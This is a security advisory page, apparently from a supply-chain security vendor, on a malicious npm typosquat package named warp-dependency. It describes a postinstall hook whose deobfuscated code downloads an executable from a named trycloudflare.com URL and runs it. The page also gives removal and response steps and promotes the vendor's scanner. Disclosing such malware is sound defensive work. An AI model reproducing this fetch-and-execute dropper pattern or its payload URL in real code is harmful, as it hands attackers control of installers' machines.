warp-dependencynpm
warp-dependency is a confirmed malicious npm package (MAL-2026-5724) that typosquats a legitimate package to trick installs (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in warp-dependency (npm)
What this malware does
[email protected] declares postinstall: node index.js in package.json. The index.js entry point is heavily obfuscated using obfuscator.io-style string-array rotation (_0x345c/_0x1de1) that hides the download URL, target filename, and the require targets (fs-extra, node-fetch, child_process). When deobfuscated, the top-level code performs downloadFile('https://recorder-our-betting-chair.trycloudflare.com/page', 'bss.exe') followed by child_process.exec('bss.exe',...), writing and running an opaque Windows executable next to the package on every install. trycloudflare.com is an anonymous ephemeral tunneling service commonly used as throwaway dropper infrastructure; the URL is unpinned and the binary is unsigned, unhashed, and unrelated to the package's stated 'Mac UI for Windows Toolkit' purpose. The package name also typosquats the legitimate 'warp' brand. Every npm install warp-dependency silently runs attacker-controlled native code on the installer's machine.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for warp-dependency (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging warp-dependency across your stack and pipelines.
If you installed it — respond
warp-dependency is a typosquat — you almost certainly intended a legitimately-named package. Remove warp-dependency, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If warp-dependency was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks warp-dependency before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks warp-dependency-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.